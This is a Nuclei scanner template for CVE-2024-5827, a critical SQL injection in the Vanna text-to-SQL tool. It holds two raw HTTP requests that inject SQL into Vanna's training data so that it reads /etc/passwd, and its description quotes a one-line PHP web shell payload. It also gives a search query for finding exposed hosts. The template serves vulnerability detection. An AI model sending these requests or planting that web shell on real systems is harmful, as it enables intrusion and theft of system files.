64 lines
2.0 KiB
YAML
64 lines
2.0 KiB
YAML
id: CVE-2024-5827
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info:
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name: Vanna - SQL injection
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author: olfloralo,nukunga,harksu,nechyo,gy741
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severity: critical
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description: |
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Vanna v0.3.4 is vulnerable to SQL injection in its DuckDB integration exposed to its Flask Web APIs. Attackers can inject malicious SQL training data and generate corresponding queries to write arbitrary files on the victim's file system, such as backdoor.php with contents `<?php system($_GET[0]); ?>`. This can lead to command execution or the creation of backdoors.
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reference:
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- https://huntr.com/bounties/a3f913d6-c717-4528-b974-26d8d9e839ca
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- https://nvd.nist.gov/vuln/detail/CVE-2024-5827
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- https://huntr.com/bounties/e4e64a51-618b-41d0-8f56-1d2146d8825e
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- https://github.com/fkie-cad/nvd-json-data-feeds
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2024-5827
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cwe-id: CWE-434
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epss-score: 0.00043
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epss-percentile: 0.09524
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metadata:
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verified: true
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max-request: 2
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fofa-query: body='vanna.ai'
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tags: cve,cve2024,vanna,sqli
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flow: http(1) && http(2)
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http:
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- raw:
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- |
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POST /api/v0/train HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"sql":"SELECT pg_read_file('/etc/passwd', 0, 1000);"}
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matchers:
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- type: word
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words:
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- 'id":'
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internal: true
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- raw:
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- |
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GET /api/v0/generate_sql?question=What%20is%20the%20content%20of%20the%20first%201000%20characters%20of%20the%20%2Fetc%2Fpasswd%20file? HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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- type: word
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part: header
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words:
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- 'application/json'
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# digest: 4b0a0048304602210093740affc4c9c3ea0030913d9c4c8802827341e231bdf5ee94a5e7da27ad2d32022100b100c84672ff47b8e2b2a407027df4880147e2a846c9a92947b1e1415e2cd870:922c64590222798bb761d5b6d8e72950 |